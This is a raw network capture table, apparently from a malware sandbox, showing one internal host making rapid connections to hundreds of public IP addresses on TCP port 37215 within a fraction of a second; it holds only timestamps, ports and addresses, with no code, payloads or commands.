Aug 1, 2024 15:35:04.564368963 CEST	37215	34136	218.111.52.52	192.168.2.14
Aug 1, 2024 15:35:04.564414024 CEST	34136	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:04.564893961 CEST	42526	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:04.565363884 CEST	37215	57722	52.147.50.110	192.168.2.14
Aug 1, 2024 15:35:04.565375090 CEST	37215	60458	156.49.30.8	192.168.2.14
Aug 1, 2024 15:35:04.565386057 CEST	37215	42624	197.13.43.240	192.168.2.14
Aug 1, 2024 15:35:04.565402985 CEST	57722	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:04.565409899 CEST	60458	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:04.565412045 CEST	42624	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:04.565511942 CEST	56720	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:04.566077948 CEST	37215	56982	197.226.64.65	192.168.2.14
Aug 1, 2024 15:35:04.566090107 CEST	37215	55922	41.5.246.163	192.168.2.14
Aug 1, 2024 15:35:04.566101074 CEST	37215	40300	119.229.85.175	192.168.2.14
Aug 1, 2024 15:35:04.566121101 CEST	56982	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:04.566123962 CEST	55922	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:04.566132069 CEST	40300	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:04.566163063 CEST	48768	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:04.566550016 CEST	37215	45820	197.61.79.229	192.168.2.14
Aug 1, 2024 15:35:04.566584110 CEST	45820	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:04.566595078 CEST	37215	54060	36.149.65.88	192.168.2.14
Aug 1, 2024 15:35:04.566638947 CEST	54060	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:04.566744089 CEST	41826	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:04.567250967 CEST	37215	39178	41.3.241.204	192.168.2.14
Aug 1, 2024 15:35:04.567262888 CEST	37215	58668	165.23.40.149	192.168.2.14
Aug 1, 2024 15:35:04.567271948 CEST	37215	39572	157.128.189.238	192.168.2.14
Aug 1, 2024 15:35:04.567301035 CEST	39178	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:04.567301989 CEST	58668	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:04.567306995 CEST	39572	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:04.567353010 CEST	44918	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:04.567709923 CEST	37215	45926	157.195.222.173	192.168.2.14
Aug 1, 2024 15:35:04.567728996 CEST	37215	47762	157.7.210.65	192.168.2.14
Aug 1, 2024 15:35:04.567739010 CEST	37215	44772	191.96.26.120	192.168.2.14
Aug 1, 2024 15:35:04.567764997 CEST	47762	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:04.567774057 CEST	45926	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:04.567784071 CEST	44772	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:04.567898989 CEST	37215	49232	197.210.14.218	192.168.2.14
Aug 1, 2024 15:35:04.567940950 CEST	37215	36318	157.109.153.252	192.168.2.14
Aug 1, 2024 15:35:04.567950964 CEST	37215	51138	197.230.24.247	192.168.2.14
Aug 1, 2024 15:35:04.567974091 CEST	49232	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:04.567989111 CEST	36318	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:04.567991018 CEST	51138	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:04.568012953 CEST	55422	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:04.568300962 CEST	37215	39904	157.253.214.61	192.168.2.14
Aug 1, 2024 15:35:04.568340063 CEST	39904	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:04.568593979 CEST	60784	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:04.568881035 CEST	37215	42624	34.244.242.21	192.168.2.14
Aug 1, 2024 15:35:04.568922997 CEST	42624	37215	192.168.2.14	34.244.242.21
Aug 1, 2024 15:35:04.569216967 CEST	58310	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:04.569843054 CEST	39410	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:04.570255995 CEST	37215	42526	41.4.204.193	192.168.2.14
Aug 1, 2024 15:35:04.570344925 CEST	42526	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:04.570452929 CEST	33444	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:04.570481062 CEST	37215	56720	51.85.105.37	192.168.2.14
Aug 1, 2024 15:35:04.570521116 CEST	56720	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:04.570991039 CEST	37215	48768	139.128.83.1	192.168.2.14
Aug 1, 2024 15:35:04.571031094 CEST	48768	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:04.571055889 CEST	35982	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:04.571368933 CEST	37215	39632	31.28.24.214	192.168.2.14
Aug 1, 2024 15:35:04.571641922 CEST	48224	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:04.571979046 CEST	37215	41826	197.8.151.149	192.168.2.14
Aug 1, 2024 15:35:04.572021961 CEST	41826	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:04.572113991 CEST	37215	44918	157.114.117.209	192.168.2.14
Aug 1, 2024 15:35:04.572154045 CEST	44918	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:04.572241068 CEST	49962	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:04.572582006 CEST	37215	37034	41.148.252.199	192.168.2.14
Aug 1, 2024 15:35:04.572874069 CEST	37215	55422	157.40.235.145	192.168.2.14
Aug 1, 2024 15:35:04.572879076 CEST	59664	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:04.572913885 CEST	55422	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:04.573271990 CEST	37215	54154	41.188.29.162	192.168.2.14
Aug 1, 2024 15:35:04.573519945 CEST	36232	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:04.573719978 CEST	37215	60784	157.230.179.159	192.168.2.14
Aug 1, 2024 15:35:04.573735952 CEST	37215	33272	157.136.251.140	192.168.2.14
Aug 1, 2024 15:35:04.573765039 CEST	60784	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:04.574060917 CEST	33272	37215	192.168.2.14	157.136.251.140
Aug 1, 2024 15:35:04.574062109 CEST	39632	37215	192.168.2.14	31.28.24.214
Aug 1, 2024 15:35:04.574062109 CEST	37034	37215	192.168.2.14	41.148.252.199
Aug 1, 2024 15:35:04.574083090 CEST	37215	60384	157.46.113.86	192.168.2.14
Aug 1, 2024 15:35:04.574083090 CEST	54154	37215	192.168.2.14	41.188.29.162
Aug 1, 2024 15:35:04.574095011 CEST	37215	58310	41.111.212.189	192.168.2.14
Aug 1, 2024 15:35:04.574134111 CEST	58310	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:04.574189901 CEST	48482	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:04.574219942 CEST	37215	56692	41.234.174.35	192.168.2.14
Aug 1, 2024 15:35:04.574438095 CEST	37215	54826	197.37.212.181	192.168.2.14
Aug 1, 2024 15:35:04.574631929 CEST	37215	39410	204.57.58.168	192.168.2.14
Aug 1, 2024 15:35:04.574672937 CEST	39410	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:04.574820042 CEST	37888	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:04.574901104 CEST	37215	45406	71.55.134.200	192.168.2.14
Aug 1, 2024 15:35:04.575124025 CEST	37215	44340	197.47.216.54	192.168.2.14
Aug 1, 2024 15:35:04.575318098 CEST	37215	33444	157.222.131.178	192.168.2.14
Aug 1, 2024 15:35:04.575361013 CEST	33444	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:04.575391054 CEST	38146	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:04.575839996 CEST	37215	35982	157.128.140.159	192.168.2.14
Aug 1, 2024 15:35:04.575880051 CEST	35982	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:04.575993061 CEST	42558	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:04.576086044 CEST	37215	34136	218.111.52.52	192.168.2.14
Aug 1, 2024 15:35:04.576610088 CEST	37215	57722	52.147.50.110	192.168.2.14
Aug 1, 2024 15:35:04.576618910 CEST	48380	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:04.576759100 CEST	37215	48224	157.67.35.151	192.168.2.14
Aug 1, 2024 15:35:04.576797009 CEST	48224	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:04.577224016 CEST	58820	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:04.577409983 CEST	37215	60458	156.49.30.8	192.168.2.14
Aug 1, 2024 15:35:04.577420950 CEST	37215	42624	197.13.43.240	192.168.2.14
Aug 1, 2024 15:35:04.577430964 CEST	37215	49962	41.131.136.46	192.168.2.14
Aug 1, 2024 15:35:04.577465057 CEST	49962	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:04.577533960 CEST	37215	56982	197.226.64.65	192.168.2.14
Aug 1, 2024 15:35:04.577744961 CEST	37215	59664	157.70.94.107	192.168.2.14
Aug 1, 2024 15:35:04.577754974 CEST	37215	55922	41.5.246.163	192.168.2.14
Aug 1, 2024 15:35:04.577783108 CEST	59664	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:04.577860117 CEST	48972	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:04.578063011 CEST	34136	37215	192.168.2.14	218.111.52.52
Aug 1, 2024 15:35:04.578073025 CEST	55922	37215	192.168.2.14	41.5.246.163
Aug 1, 2024 15:35:04.578074932 CEST	45406	37215	192.168.2.14	71.55.134.200
Aug 1, 2024 15:35:04.578079939 CEST	42624	37215	192.168.2.14	197.13.43.240
Aug 1, 2024 15:35:04.578088999 CEST	56982	37215	192.168.2.14	197.226.64.65
Aug 1, 2024 15:35:04.578088999 CEST	57722	37215	192.168.2.14	52.147.50.110
Aug 1, 2024 15:35:04.578092098 CEST	60458	37215	192.168.2.14	156.49.30.8
Aug 1, 2024 15:35:04.578094959 CEST	54826	37215	192.168.2.14	197.37.212.181
Aug 1, 2024 15:35:04.578102112 CEST	44340	37215	192.168.2.14	197.47.216.54
Aug 1, 2024 15:35:04.578103065 CEST	56692	37215	192.168.2.14	41.234.174.35
Aug 1, 2024 15:35:04.578108072 CEST	60384	37215	192.168.2.14	157.46.113.86
Aug 1, 2024 15:35:04.578191042 CEST	37215	40300	119.229.85.175	192.168.2.14
Aug 1, 2024 15:35:04.578479052 CEST	37215	36232	116.129.63.253	192.168.2.14
Aug 1, 2024 15:35:04.578500032 CEST	48844	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:04.578526020 CEST	36232	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:04.578999043 CEST	37215	45820	197.61.79.229	192.168.2.14
Aug 1, 2024 15:35:04.579014063 CEST	46202	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:04.579196930 CEST	37215	54060	36.149.65.88	192.168.2.14
Aug 1, 2024 15:35:04.579209089 CEST	37215	48482	197.93.204.236	192.168.2.14
Aug 1, 2024 15:35:04.579240084 CEST	37215	58668	165.23.40.149	192.168.2.14
Aug 1, 2024 15:35:04.579260111 CEST	48482	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:04.579389095 CEST	37215	39178	41.3.241.204	192.168.2.14
Aug 1, 2024 15:35:04.579566956 CEST	47026	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:04.579585075 CEST	37215	39572	157.128.189.238	192.168.2.14
Aug 1, 2024 15:35:04.579725981 CEST	37215	47762	157.7.210.65	192.168.2.14
Aug 1, 2024 15:35:04.579845905 CEST	37215	37888	157.150.127.225	192.168.2.14
Aug 1, 2024 15:35:04.579886913 CEST	37888	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:04.580091000 CEST	37215	45926	157.195.222.173	192.168.2.14
Aug 1, 2024 15:35:04.580151081 CEST	59022	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:04.580221891 CEST	37215	44772	191.96.26.120	192.168.2.14
Aug 1, 2024 15:35:04.580233097 CEST	37215	38146	197.140.6.131	192.168.2.14
Aug 1, 2024 15:35:04.580276012 CEST	38146	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:04.580538034 CEST	37215	49232	197.210.14.218	192.168.2.14
Aug 1, 2024 15:35:04.580756903 CEST	58088	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:04.580825090 CEST	37215	36318	157.109.153.252	192.168.2.14
Aug 1, 2024 15:35:04.580877066 CEST	37215	42558	41.93.56.29	192.168.2.14
Aug 1, 2024 15:35:04.580914021 CEST	42558	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:04.581012964 CEST	37215	51138	197.230.24.247	192.168.2.14
Aug 1, 2024 15:35:04.581199884 CEST	37215	39904	157.253.214.61	192.168.2.14
Aug 1, 2024 15:35:04.581319094 CEST	38956	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:04.581382036 CEST	37215	42624	34.244.242.21	192.168.2.14
Aug 1, 2024 15:35:04.581522942 CEST	37215	42526	41.4.204.193	192.168.2.14
Aug 1, 2024 15:35:04.581564903 CEST	37215	48380	197.93.155.59	192.168.2.14
Aug 1, 2024 15:35:04.581607103 CEST	48380	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:04.581610918 CEST	37215	56720	51.85.105.37	192.168.2.14
Aug 1, 2024 15:35:04.581753016 CEST	37215	48768	139.128.83.1	192.168.2.14
Aug 1, 2024 15:35:04.581882954 CEST	32842	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:04.581895113 CEST	37215	41826	197.8.151.149	192.168.2.14
Aug 1, 2024 15:35:04.581995010 CEST	37215	58820	144.187.203.7	192.168.2.14
Aug 1, 2024 15:35:04.582005024 CEST	37215	44918	157.114.117.209	192.168.2.14
Aug 1, 2024 15:35:04.582027912 CEST	58820	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:04.582061052 CEST	48768	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:04.582067013 CEST	44918	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:04.582068920 CEST	41826	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:04.582071066 CEST	56720	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:04.582081079 CEST	39904	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:04.582083941 CEST	42526	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:04.582083941 CEST	45926	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:04.582083941 CEST	39572	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:04.582086086 CEST	42624	37215	192.168.2.14	34.244.242.21
Aug 1, 2024 15:35:04.582081079 CEST	47762	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:04.582086086 CEST	51138	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:04.582087994 CEST	39178	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:04.582088947 CEST	45820	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:04.582089901 CEST	54060	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:04.582093954 CEST	36318	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:04.582097054 CEST	44772	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:04.582097054 CEST	58668	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:04.582113981 CEST	49232	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:04.582113981 CEST	40300	37215	192.168.2.14	119.229.85.175
Aug 1, 2024 15:35:04.582123041 CEST	37215	55422	157.40.235.145	192.168.2.14
Aug 1, 2024 15:35:04.582225084 CEST	37215	60784	157.230.179.159	192.168.2.14
Aug 1, 2024 15:35:04.582379103 CEST	37215	58310	41.111.212.189	192.168.2.14
Aug 1, 2024 15:35:04.582493067 CEST	53264	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:04.582556009 CEST	37215	39410	204.57.58.168	192.168.2.14
Aug 1, 2024 15:35:04.582629919 CEST	37215	33444	157.222.131.178	192.168.2.14
Aug 1, 2024 15:35:04.582751036 CEST	37215	35982	157.128.140.159	192.168.2.14
Aug 1, 2024 15:35:04.582866907 CEST	37215	48972	41.68.194.129	192.168.2.14
Aug 1, 2024 15:35:04.582915068 CEST	48972	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:04.583015919 CEST	37215	48224	157.67.35.151	192.168.2.14
Aug 1, 2024 15:35:04.583017111 CEST	52840	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:04.583026886 CEST	37215	49962	41.131.136.46	192.168.2.14
Aug 1, 2024 15:35:04.583158016 CEST	37215	59664	157.70.94.107	192.168.2.14
Aug 1, 2024 15:35:04.583225965 CEST	37215	48844	157.94.120.217	192.168.2.14
Aug 1, 2024 15:35:04.583262920 CEST	48844	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:04.583590031 CEST	41148	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:04.583770037 CEST	37215	36232	116.129.63.253	192.168.2.14
Aug 1, 2024 15:35:04.583837986 CEST	37215	46202	206.18.105.211	192.168.2.14
Aug 1, 2024 15:35:04.583877087 CEST	46202	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:04.584141970 CEST	34922	37215	192.168.2.14	157.84.78.232
Aug 1, 2024 15:35:04.584285975 CEST	37215	48482	197.93.204.236	192.168.2.14
Aug 1, 2024 15:35:04.584351063 CEST	37215	47026	41.239.216.191	192.168.2.14
Aug 1, 2024 15:35:04.584400892 CEST	47026	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:04.584706068 CEST	41974	37215	192.168.2.14	197.115.151.122
Aug 1, 2024 15:35:04.584999084 CEST	37215	59022	41.248.171.162	192.168.2.14
Aug 1, 2024 15:35:04.585032940 CEST	59022	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:04.585242987 CEST	55436	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:04.585283995 CEST	37215	37888	157.150.127.225	192.168.2.14
Aug 1, 2024 15:35:04.585546970 CEST	37215	58088	197.209.209.54	192.168.2.14
Aug 1, 2024 15:35:04.585583925 CEST	58088	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:04.585638046 CEST	37215	38146	197.140.6.131	192.168.2.14
Aug 1, 2024 15:35:04.585844994 CEST	41588	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:04.586066961 CEST	59664	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:04.586069107 CEST	38146	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:04.586070061 CEST	58310	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:04.586071968 CEST	49962	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:04.586071968 CEST	48224	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:04.586072922 CEST	48482	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:04.586072922 CEST	37888	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:04.586072922 CEST	39410	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:04.586077929 CEST	55422	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:04.586081982 CEST	36232	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:04.586082935 CEST	35982	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:04.586082935 CEST	60784	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:04.586106062 CEST	33444	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:04.586226940 CEST	37215	42558	41.93.56.29	192.168.2.14
Aug 1, 2024 15:35:04.586349010 CEST	37215	38956	41.235.57.84	192.168.2.14
Aug 1, 2024 15:35:04.586388111 CEST	38956	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:04.586494923 CEST	44304	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:04.586632013 CEST	37215	48380	197.93.155.59	192.168.2.14
Aug 1, 2024 15:35:04.586698055 CEST	37215	32842	41.161.31.8	192.168.2.14
Aug 1, 2024 15:35:04.586739063 CEST	32842	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:04.587052107 CEST	44796	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:04.587388039 CEST	37215	58820	144.187.203.7	192.168.2.14
Aug 1, 2024 15:35:04.587407112 CEST	37215	53264	157.88.221.246	192.168.2.14
Aug 1, 2024 15:35:04.587446928 CEST	53264	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:04.587627888 CEST	40340	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:04.587742090 CEST	37215	52840	41.199.95.211	192.168.2.14
Aug 1, 2024 15:35:04.587861061 CEST	52840	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:04.588011026 CEST	37215	48972	41.68.194.129	192.168.2.14
Aug 1, 2024 15:35:04.588221073 CEST	43310	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:04.588428974 CEST	37215	41148	197.26.150.12	192.168.2.14
Aug 1, 2024 15:35:04.588468075 CEST	41148	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:04.588778973 CEST	53834	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:04.589344025 CEST	55818	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:04.589364052 CEST	37215	48844	157.94.120.217	192.168.2.14
Aug 1, 2024 15:35:04.589379072 CEST	37215	34922	157.84.78.232	192.168.2.14
Aug 1, 2024 15:35:04.589425087 CEST	34922	37215	192.168.2.14	157.84.78.232
Aug 1, 2024 15:35:04.589514971 CEST	37215	46202	206.18.105.211	192.168.2.14
Aug 1, 2024 15:35:04.589595079 CEST	37215	41974	197.115.151.122	192.168.2.14
Aug 1, 2024 15:35:04.589637041 CEST	41974	37215	192.168.2.14	197.115.151.122
Aug 1, 2024 15:35:04.589843988 CEST	37215	47026	41.239.216.191	192.168.2.14
Aug 1, 2024 15:35:04.589898109 CEST	33022	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:04.589986086 CEST	37215	59022	41.248.171.162	192.168.2.14
Aug 1, 2024 15:35:04.590066910 CEST	47026	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:04.590066910 CEST	48844	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:04.590066910 CEST	48972	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:04.590069056 CEST	46202	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:04.590069056 CEST	59022	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:04.590069056 CEST	42558	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:04.590076923 CEST	48380	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:04.590080023 CEST	58820	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:04.590260029 CEST	37215	55436	80.201.129.19	192.168.2.14
Aug 1, 2024 15:35:04.590301991 CEST	55436	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:04.590531111 CEST	34346	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:04.590922117 CEST	37215	58088	197.209.209.54	192.168.2.14
Aug 1, 2024 15:35:04.590934038 CEST	37215	41588	197.212.5.92	192.168.2.14
Aug 1, 2024 15:35:04.590995073 CEST	41588	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:04.591110945 CEST	44368	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:04.591216087 CEST	37215	44304	197.235.124.244	192.168.2.14
Aug 1, 2024 15:35:04.591270924 CEST	44304	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:04.591545105 CEST	37215	38956	41.235.57.84	192.168.2.14
Aug 1, 2024 15:35:04.591703892 CEST	37068	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:04.591787100 CEST	37215	44796	197.17.30.222	192.168.2.14
Aug 1, 2024 15:35:04.591833115 CEST	44796	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:04.591912985 CEST	37215	32842	41.161.31.8	192.168.2.14
Aug 1, 2024 15:35:04.592253923 CEST	46406	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:04.592710972 CEST	37215	53264	157.88.221.246	192.168.2.14
Aug 1, 2024 15:35:04.592797995 CEST	37215	40340	41.183.24.109	192.168.2.14
Aug 1, 2024 15:35:04.592850924 CEST	40340	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:04.592879057 CEST	37215	52840	41.199.95.211	192.168.2.14
Aug 1, 2024 15:35:04.592945099 CEST	51420	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:04.592971087 CEST	37215	43310	41.28.35.40	192.168.2.14
Aug 1, 2024 15:35:04.593019009 CEST	43310	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:04.593528032 CEST	49452	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:04.593549013 CEST	37215	53834	41.163.193.213	192.168.2.14
Aug 1, 2024 15:35:04.593590975 CEST	53834	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:04.593658924 CEST	37215	41148	197.26.150.12	192.168.2.14
Aug 1, 2024 15:35:04.594064951 CEST	41148	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:04.594074965 CEST	53264	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:04.594074965 CEST	52840	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:04.594089031 CEST	38956	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:04.594091892 CEST	32842	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:04.594093084 CEST	58088	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:04.594126940 CEST	43412	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:04.594736099 CEST	48754	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:04.594769955 CEST	37215	55818	90.107.228.59	192.168.2.14
Aug 1, 2024 15:35:04.594779968 CEST	37215	33022	41.82.131.194	192.168.2.14
Aug 1, 2024 15:35:04.594816923 CEST	55818	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:04.594820023 CEST	33022	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:04.595069885 CEST	37215	34922	157.84.78.232	192.168.2.14
Aug 1, 2024 15:35:04.595429897 CEST	50334	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:04.595478058 CEST	37215	34346	74.96.4.80	192.168.2.14
Aug 1, 2024 15:35:04.595514059 CEST	34346	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:04.595932007 CEST	37215	55436	80.201.129.19	192.168.2.14
Aug 1, 2024 15:35:04.596025944 CEST	53304	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:04.596031904 CEST	37215	44368	41.206.119.232	192.168.2.14
Aug 1, 2024 15:35:04.596071959 CEST	44368	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:04.596462011 CEST	37215	41588	197.212.5.92	192.168.2.14
Aug 1, 2024 15:35:04.596599102 CEST	58288	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:04.596616030 CEST	37215	37068	41.225.195.225	192.168.2.14
Aug 1, 2024 15:35:04.596626043 CEST	37215	44304	197.235.124.244	192.168.2.14
Aug 1, 2024 15:35:04.596652031 CEST	37068	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:04.597132921 CEST	37215	46406	157.86.182.203	192.168.2.14
Aug 1, 2024 15:35:04.597170115 CEST	46406	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:04.597196102 CEST	42486	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:04.597413063 CEST	37215	44796	197.17.30.222	192.168.2.14
Aug 1, 2024 15:35:04.597760916 CEST	40246	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:04.597832918 CEST	37215	51420	18.186.212.139	192.168.2.14
Aug 1, 2024 15:35:04.597870111 CEST	51420	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:04.597994089 CEST	37215	40340	41.183.24.109	192.168.2.14
Aug 1, 2024 15:35:04.598062992 CEST	40340	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:04.598067045 CEST	44796	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:04.598073959 CEST	44304	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:04.598073959 CEST	41588	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:04.598077059 CEST	55436	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:04.598078012 CEST	34922	37215	192.168.2.14	157.84.78.232
